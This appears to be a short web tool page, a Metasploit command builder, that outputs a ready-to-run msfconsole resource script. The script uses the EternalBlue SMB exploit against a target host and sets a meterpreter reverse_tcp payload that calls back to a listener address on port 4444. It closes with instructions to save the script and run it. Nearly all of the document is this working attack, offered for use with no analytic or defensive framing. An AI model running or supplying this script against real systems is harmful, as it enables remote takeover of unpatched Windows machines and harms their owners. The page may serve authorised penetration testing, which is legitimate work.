Metasploit Tool

Command Builder

Configure your exploit parameters and copy the generated msfconsole resource script.

Resource Script
exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.10
set LHOST 10.0.0.1
set LPORT 4444
set PAYLOAD windows/meterpreter/reverse_tcp
exploit

Save to a file and run with: msfconsole -r exploit.rc